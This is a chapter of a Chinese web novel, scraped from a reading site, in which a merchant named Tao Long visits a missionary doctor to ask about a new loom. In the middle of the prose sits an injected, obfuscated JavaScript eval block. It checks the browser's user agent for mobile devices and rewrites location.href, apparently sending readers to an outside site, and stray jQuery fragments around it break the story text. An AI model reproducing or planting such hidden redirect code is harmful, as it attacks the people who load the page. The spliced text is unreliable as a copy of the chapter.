默认冷灰
24号文字
方正启体

41. 詹诚

作者:一页粥本书字数:K更新时间:
    作为中原与南海相接之处,儋州的热闹不输崖州,这些年来此的生意人络绎不绝,他们几乎都选择在这里落脚,反倒是去崖州的并没有多少。


    但陶珑两次来南海,都目标明确,就是奔着巡抚府衙去的,是以每次都过儋州而不入,到如今才正经去了趟。


    陶珑有心想进城转转,但考虑到这次简装出行,自己除了雯芳和一个护卫外什么都没带,便还是决定直接去找那个传言里的传教士。


    出发之前,雯芳还很不满地冲陶珑抱怨,怀疑梁椟就是想骗她单独出去……谁知道消息是真是假呢?


    陶珑哭笑不得。


    虽然梁椟此人“前科累累”,但实在犯不着在这种小事上诓她。不然图什么?


    就连透露这个消息给自己,陶珑都觉得他是为了还人情——到底是自己出面走动关系,哪怕大方地同意她合股,但若是没有她,也未必能成这桩生意。


    何况,就梁椟现在这德行……若真是按雯芳的说法,难道他是想和自己“旧情复燃”?这话说出来,只怕梁椟自己都要发笑。


    所以这条传教士和织机的消息,陶珑是不怀疑的。何况梁椟还打听出了这位传教士的具体地址,实在做不得假。


    出发时,陶珑还十分笃定,但真到了地方,她忍实在不住看向梁椟。


    “……你确定是这儿?”


    面前这栋高架茅草屋,只怕自己吹口气就要散架,居然是传教士歇脚的地方?


    不是陶珑大惊小怪,实在是她在京城和金陵见过的传教士,他们大都携奇珍异宝而来,借以交换一个留在大齐的资格,而后便是和当地的官员富户打好关系,站稳脚跟。


    这些传教士,只分有钱和富得流油的,教堂修得富丽堂皇是必须,自己的住所也断不能落下——总之,二少吃寒酸的,当真是闻所未闻、见所未见。


    迟疑间,几个土著打扮的当地人朝茅草屋走来,他们都还带着农具,约莫是刚种完地。


    为首的中年人不解地看向陶珑他们,用不甚标准的官话问:“你们,来找詹大夫?”


    陶珑想起来了,梁椟说过,传教士给自己取的大齐名字,好像是叫詹诚。


    她点点头,“对,我听说这边都在用新法子织布,就一路打听过来。老乡你们这是……?


    中年人看她如此客气,又说自己只是对那个织机感兴趣,身上原本的戒备顿时消散,憨厚地笑了笑,“詹大夫看病厉害,还不收钱,我们都找他看病。”


    所以还真没来错地方。


    陶珑心情复杂地又看一眼屋子,这才道:“来之前就听说詹……詹大夫是有名的善人,今日来看,果真如此。”


    见中年人好像没太听懂她这话的意思,陶珑连忙笑笑,“你们看病要紧,先去,我等詹大夫忙完了再找他。”


    那几人点点头,和善地与她点头致意,便伸手敲敲门,进了屋子。


    陶珑看向拴在不远处吃草的马,问梁椟,“你有没有打探到这位詹大夫的底细?”


    梁椟摇头,“去年才来的,据说官话讲得不错,估计在大齐待了有段时间,只是以前不在这边。”


    这点陶珑自己都能猜的出来,哪里要梁椟来讲?


    她没好气地暗自翻了个白眼,也敲门进去,叫雯芳和护卫在外面稍作等待。


    房里的陈设看着倒没外面那么寒酸,却也没强到哪去。


    屋子不大,只分里外两间,詹诚平时给人看病应当都在外间,小小的地方里居然已经挤了七八个人,可称人满为患。


    而且,见多了京城有钱人手里的西洋玩意儿,如今一打眼看到真正的西洋人房里没半点洋货,陶珑甚至有点恍惚。


    再看一身大齐读书人打扮,还梳了个标标准准的发髻的詹诚,陶珑彻底傻眼了。


    印象里,为了表明自己传教士的身份,和对自己信仰的“虔诚”,这些西洋来的传教士们大多会选择一直穿着自己带来的教会服饰,须发也力求与从前一致,生怕别人不能一眼看出他们的与众不同。


    詹诚这么接地气的,大齐只怕还是头一个。


    陶珑不太能看得出西洋人的年纪,只是看詹诚鬓发已有斑白,想来至少也是四五十岁。


    她仔细观察詹诚给人看病的手法,居然也不是京城这些传教士搞的什么扯淡放血法,而是正儿八经的大齐医术。


    陶珑一时咋舌,只觉得这位詹大夫实在是太过鹤立鸡群,叫人有点看不懂。


    前面进来的几个当地人,都是干活时被毒虫咬了,詹诚只看两眼就心里有数,拿出瓶药粉,用标准的官话小心叮嘱如何使用,又交代了忌口,这才目送他们离开。


    “……姑娘也是来看病?”


    一个晃神的功夫,屋里等待的人居然就剩陶珑和梁椟。陶珑眨眨眼,没有半点不自在,确认自己后面没人后,大大方方坐在詹诚面前,道:“在下是金陵来的商人,姓陶,听说您手里有一种全新的织机,所以……”


    詹诚面色冷淡下去,不卑不亢道:“不知您是何处听说的,但我不做生意,怕是要叫您跑空了。”


    陶珑:“看一眼也不行?”


    詹诚放下手里记录问诊内容的毛笔,“我们村不少百姓都在用,您可以借他们的东西一观。”


    他好像很讨厌商人。


    陶珑在心里下了定论,轻笑道:“虽然我是个商人,但好歹也是季巡抚承认的第一个商户,这点能否叫您姑且放下点戒心?”


    听她搬出季知礼,詹诚终于舍得正眼瞧人,脸色稍霁,“您是孙氏的东家?”


    看来自己这两年在南海做的“小本生意”也不是真像孙颍说的“拿钱打水漂”,至少口碑还是有几分的。


    陶珑索性将要在南海开设工坊一事大概说了遍,晓之以理动之以情,“我没想过要买卖您手里的技术,您甚至不必叫东西过我手,届时工坊建成,能叫织工们用上这更快的织机,不是也更轻松些?”


    詹诚半掀着眼皮,一双浅色的眼珠掩在眉骨打下的阴影里,叫人看不清情绪,“您也不必拿这种话哄骗我,同一时间更高的产量不会减少人们的劳动时间。”


    陶珑:……


    她真的不喜欢和太聪明的人打交道。


    陶珑叹了口气,“是,我的确存了私心,毕竟商人逐利,总不能做赔本买卖。但无论如何,这种产量更高的织机能得到推广都是好事,不然您也不会把它传授给当地百姓不是?”


    这一番话可称推心置腹,詹诚神色略微松动。


    只是他正要说什么,又有几个村民推门进来看病。


    陶珑识趣地起身退到一边,静静等詹诚忙完,才打趣道:“不瞒您说,刚到门口,我真以为自己走错地方了,实在没想到大齐还有您这样特立独行的传教士。”


    詹诚见她主动转移了话题,从善如流道:“特立独行算不上,不过是希望能为大多数人做一点贡献罢了。”


    “您是在大齐待了有些时间吧?听您官话,比不少南海人都标准。”


    詹诚似笑非笑地问:“姑娘,您是在打探我的来历?”


    陶珑大喇喇道:“是,因为我想不通,您为何要来这穷苦地。”


    “这样的事在你们大齐也不罕见吧?”詹诚起身整理起柜子里的草药,“古时不就有僧侣为了传播他们的信仰渡海去东洋,结果十不存一……我做的是无非是和他们同样的事。”


    说罢,还在胸前做了个奇特的手势,似乎是他所信仰教派的祷告方式。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665299|172973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“但您的‘同伴’们,似乎不这么想。”陶珑眨眨眼,“他们是觉得,打通官员那一层关系,更有利于传播信仰?”


    詹诚垂下眼,冷淡道:“他们怎么做,是他们的选择。在我看来,生活在底层的大多数百姓,远比你们这些商人和那些高管需要救赎。”


    陶珑不置可否。


    她不信神佛,也理解不了詹诚自称“为了传教而来到南海”的行为——但所谓“君子论迹不论心”,他既然是行善事,那出于其他目的又何妨?


    “姑娘姓陶?”詹诚像是想起了什么,突然发问,“……金陵福记的东家?”


    陶珑一愣,不明就里点点头。


    詹诚轻叹一声,“三年前,您曾收留帮助了不少明州的灾民,那时我也在明州。没想到,居然就是您。”


    别说是他,就连陶珑自己也没想到,他们两人居然还有这缘分。


    三年前,也就是她刚离开京城,准备去往金陵的时候。彼时明州闹洪灾,冲毁了一座堤坝,百姓本就流离失所,当地的官员还互相推卸责任,致使灾情进一步扩大。


    陶珑本就是路过,要插手其中又麻烦又没必要,但当时的情形实在触目惊心,她犹豫再三,拜访了明州当地所有受洪水侵袭的寺庙,表示自己愿意出资修缮,但他们得雇佣当地灾民做工,不仅要给工钱,还要保证灾民一日两餐。


    她给钱给得大方,此举又是实打实的善事,五间寺院都欣然接受陶珑的提议。


    尽管她难得动了恻隐之心,愿意伸出援手,却也不想只是设棚施粥——陶珑毕竟不会一直待在明州,粮食总有不够的一天,何况自己挣饭吃,总是叫人心里更舒坦些。


    在明州停了半个多月,确认愿意来干活的灾民都过得不错后,陶珑这才离开。


    商号的名字“福记”,也是当时寺院住持问她以何名义行善时,陶珑一拍脑门想到的。


    这些陈年往事骤然被提起,屋里还杵着个静静不说话却一直支着耳朵的梁椟,陶珑难得有些不好意思,轻咳一声道:“并不是什么了不得的事,何况,我也算借此第一次打出福记的名号,无论如何都不亏。”


    詹诚摇头,“你们大齐有句话,说‘君子论迹不论心’,无论您处于何种目的做了这些事,明州百姓都会记得您的义举。”


    自己在心里评价对方的话,反被詹诚用来评价自己,陶珑心情有些复杂。


    但她很快意识到,詹诚态度软化了不少,眼下正是趁热打铁的好时机。


    “我知道您的顾虑,但正如季巡抚的‘约法三章’——做织工是无论如何都不会影响到田耕的,至少眼下还不会。何况,即便没了您手里这种织机,日后难道不会有人研究出其他的工具吗?这些技术,都是要一代代发展的,若只是担忧,那我们现在不都还是些茹毛饮血的家伙?”


    陶珑一番话说得口干舌燥,眼巴巴看向詹诚,希望他能给出肯定的答复。


    “您是我见过最特别的姑娘。”詹诚十分真诚地夸赞道,“若是我总能碰见您这样的人,或许就不会像现在这样,对大多数人心存警惕。”


    说罢,他转身走向里间,似乎是去拿什么东西了。


    陶珑好整以暇等待着,却感觉梁椟从背后凑近了些。


    她还以为梁椟会说些什么,没想到对方只是单纯地站过来。


    也不知这人又犯什么病,陶珑懒得搭理,直到看见詹诚拿着个巴掌大的小玩意儿出来。


    还不等她先开口,詹诚看过来时愣了片刻,试探地问:“方才是我招待不周,还没来得及问,那位公子,是您的丈夫?”


    陶珑:……


    她糟心地回头看了眼几乎要贴在自己身上的男人,好像猜到他这么做的原因了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)